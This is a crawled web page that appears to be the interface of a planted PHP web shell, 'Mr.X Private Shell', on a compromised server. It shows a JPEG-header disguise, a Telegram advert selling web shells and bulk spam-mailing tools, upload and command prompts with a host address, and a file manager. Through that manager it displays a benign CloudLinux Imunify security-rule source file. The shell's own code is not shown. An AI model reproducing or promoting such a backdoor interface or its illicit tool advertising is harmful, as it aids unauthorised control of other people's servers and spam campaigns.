����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * Copyright (с) Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2025 All Rights Reserved
 *
 * Licensed under CLOUD LINUX LICENSE AGREEMENT
 * https://www.cloudlinux.com/legal/
 */

namespace CloudLinux\Imunify\App\Defender\Model;

use CloudLinux\Imunify\App\Defender\Model\Target;

/**
 * Rule model class.
 *
 * Represents a security rule for runtime fixes.
 */
class Rule {
	/**
	 * Rule identifier (e.g., CVE number).
	 *
	 * @var string
	 */
	private $id;

	/**
	 * Target type (plugin, theme, core).
	 *
	 * @var string
	 */
	private $target;

	/**
	 * Target slug.
	 *
	 * @var string
	 */
	private $slug;

	/**
	 * Version constraint.
	 *
	 * @var string
	 */
	private $versions;



	/**
	 * Rule mode (pass or block).
	 *
	 * @var string
	 */
	private $mode;

	/**
	 * HTTP method filter (optional).
	 *
	 * @var string|null
	 */
	private $method;

	/**
	 * Action hook name (optional).
	 *
	 * @var string|null
	 */
	private $action;

	/**
	 * AJAX action name (optional).
	 *
	 * @var string|null
	 */
	private $ajaxAction;

	/**
	 * Rule conditions.
	 *
	 * @var array
	 */
	private $conditions;

	/**
	 * Rule configuration.
	 *
	 * @var array
	 */
	private $config;

	/**
	 * Rule tags.
	 *
	 * @var array
	 */
	private $tags;

	/**
	 * Rule description.
	 *
	 * @var string
	 */
	private $description;

	/**
	 * CVE identifier.
	 *
	 * @var string
	 */
	private $cve;

	/**
	 * CVE link URL.
	 *
	 * @var string
	 */
	private $cveLink;

	/**
	 * Probe data collected during condition evaluation.
	 *
	 * @since 3.0.4
	 *
	 * @var string
	 */
	private $probeData = '';

	/**
	 * Rule severity level (CVSS score 0-10).
	 *
	 * @var float
	 */
	private $severity;

	/**
	 * Create a rule from an array.
	 *
	 * @param string $id   Rule identifier.
	 * @param array  $data Rule data.
	 *
	 * @return Rule
	 */
	public static function fromArray( $id, $data ) {
		$rule              = new self();
		$rule->id          = $id;
		$rule->target      = isset( $data['target'] ) ? $data['target'] : '';
		$rule->slug        = isset( $data['slug'] ) ? $data['slug'] : '';
		$rule->versions    = isset( $data['versions'] ) ? $data['versions'] : '';
		$rule->method      = isset( $data['method'] ) ? $data['method'] : null;
		$rule->mode        = isset( $data['mode'] ) ? $data['mode'] : RuleMode::BLOCK;
		$rule->action      = isset( $data['action'] ) ? $data['action'] : null;
		$rule->ajaxAction  = isset( $data['ajax_action'] ) ? $data['ajax_action'] : null;
		$rule->conditions  = isset( $data['conditions'] ) ? $data['conditions'] : array();
		$rule->config      = isset( $data['config'] ) ? $data['config'] : array();
		$rule->tags        = isset( $data['tags'] ) ? $data['tags'] : array();
		$rule->description = isset( $data['description'] ) ? $data['description'] : '';
		$rule->cve         = isset( $data['cve'] ) ? $data['cve'] : '';
		$rule->cveLink     = isset( $data['cve_link'] ) ? $data['cve_link'] : '';
		$rule->severity    = isset( $data['severity'] ) ? Severity::normalize( $data['severity'] ) : Severity::DEFAULT_SEVERITY;

		// Backward compatibility: Convert config.capability to missing_capability condition.
		if ( ! empty( $rule->config ) && isset( $rule->config['capability'] ) ) {
			$capability = $rule->config['capability'];

			// Check if there's already a missing_capability condition.
			$has_missing_capability = false;
			if ( ! empty( $rule->conditions ) && is_array( $rule->conditions ) ) {
				foreach ( $rule->conditions as $condition ) {
					if ( isset( $condition['type'] ) && 'missing_capability' === $condition['type'] ) {
						$has_missing_capability = true;
						break;
					}
				}
			}

			// If no missing_capability condition exists, convert config.capability to a condition.
			if ( ! $has_missing_capability ) {
				$capability_condition = array(
					'type'  => 'missing_capability',
					'value' => $capability,
				);
				$rule->conditions[]   = $capability_condition;
			}

			// Remove the entire config array since it's no longer needed.
			$rule->config = array();
		}

		return $rule;
	}

	/**
	 * Convert rule to array.
	 *
	 * @return array
	 */
	public function toArray() {
		$data = array(
			'cve'         => $this->cve,
			'description' => $this->description,
			'cve_link'    => $this->cveLink,
			'severity'    => $this->severity,
			'tags'        => $this->tags,
			'mode'        => $this->mode,
			'target'      => $this->target,
			'slug'        => $this->slug,
			'versions'    => $this->versions,
		);

		if ( $this->method ) {
			$data['method'] = $this->method;
		}

		if ( $this->action ) {
			$data['action'] = $this->action;
		}

		if ( $this->ajaxAction ) {
			$data['ajax_action'] = $this->ajaxAction;
		}

		$data['conditions'] = $this->conditions;

		// Only include config if it's not empty.
		if ( ! empty( $this->config ) ) {
			$data['config'] = $this->config;
		}

		return $data;
	}

	/**
	 * Get rule identifier.
	 *
	 * @return string
	 */
	public function getId() {
		return $this->id;
	}

	/**
	 * Get target type.
	 *
	 * @return string
	 */
	public function getTarget() {
		return $this->target;
	}

	/**
	 * Get target name.
	 *
	 * @return string
	 */
	public function getSlug() {
		return $this->slug;
	}

	/**
	 * Get version constraint.
	 *
	 * @return string
	 */
	public function getVersions() {
		return $this->versions;
	}

	/**
	 * Get HTTP method.
	 *
	 * @return string|null
	 */
	public function getMethod() {
		return $this->method;
	}

	/**
	 * Get rule mode.
	 *
	 * @return string
	 */
	public function getMode() {
		return $this->mode;
	}

	/**
	 * Get rule configuration.
	 *
	 * @return array
	 */
	public function getConfig() {
		return $this->config;
	}

	/**
	 * Get action hook name.
	 *
	 * @return string|null
	 */
	public function getAction() {
		return $this->action;
	}

	/**
	 * Get AJAX action name.
	 *
	 * @return string|null
	 */
	public function getAjaxAction() {
		return $this->ajaxAction;
	}

	/**
	 * Get rule tags.
	 *
	 * @return array
	 */
	public function getTags() {
		return $this->tags;
	}

	/**
	 * Get rule description.
	 *
	 * @return string
	 */
	public function getDescription() {
		return $this->description;
	}

	/**
	 * Get CVE identifier.
	 *
	 * @return string
	 */
	public function getCve() {
		return $this->cve;
	}

	/**
	 * Get CVE link URL.
	 *
	 * @return string
	 */
	public function getCveLink() {
		return $this->cveLink;
	}

	/**
	 * Get rule severity level (CVSS score).
	 *
	 * @return float
	 */
	public function getSeverity() {
		return $this->severity;
	}

	/**
	 * Internal rules use the TEST- prefix (heartbeat, probes) and are
	 * hidden from the WP admin UI / hit stats.
	 *
	 * @since 3.0.4
	 *
	 * @return bool
	 */
	public function isInternal() {
		return 0 === strpos( $this->id, 'TEST-' );
	}

	/**
	 * Get probe data attached to this rule.
	 *
	 * @since 3.0.4
	 *
	 * @return string
	 */
	public function getProbeData() {
		return $this->probeData;
	}

	/**
	 * Set probe data on this rule.
	 *
	 * @since 3.0.4
	 *
	 * @param string $probeData Probe result string.
	 *
	 * @return void
	 */
	public function setProbeData( $probeData ) {
		$this->probeData = $probeData;
	}

	/**
	 * Check if rule mode is valid.
	 *
	 * @return bool True if the rule mode is valid, false otherwise.
	 */
	public function isValidMode() {
		return RuleMode::isValid( $this->mode );
	}

	/**
	 * Check if rule severity is valid.
	 *
	 * @return bool True if the rule severity is valid, false otherwise.
	 */
	public function isValidSeverity() {
		return Severity::isValid( $this->severity );
	}

	/**
	 * Check if rule target is valid.
	 *
	 * @return bool True if the rule target is valid, false otherwise.
	 */
	public function isValidTarget() {
		return Target::isValid( $this->target );
	}

	/**
	 * Get conditions from rule.
	 *
	 * @return Condition[]
	 */
	public function getConditions() {
		if ( ! is_array( $this->conditions ) ) {
			return array();
		}

		$conditions = array();
		foreach ( $this->conditions as $condition_data ) {
			$conditions[] = Condition::fromArray( $condition_data );
		}

		return $conditions;
	}
}

Filemanager

Name Type Size Permission Actions
.htaccess File 0 B 0644
Condition.php File 6.3 KB 0644
ConditionSource.php File 2.11 KB 0644
ConditionType.php File 5.45 KB 0644
Rule.php File 7.92 KB 0644
RuleCollection.php File 1.7 KB 0644
RuleMode.php File 1.84 KB 0644
Severity.php File 2.64 KB 0644
Target.php File 1.8 KB 0644
TargetInfo.php File 1.45 KB 0644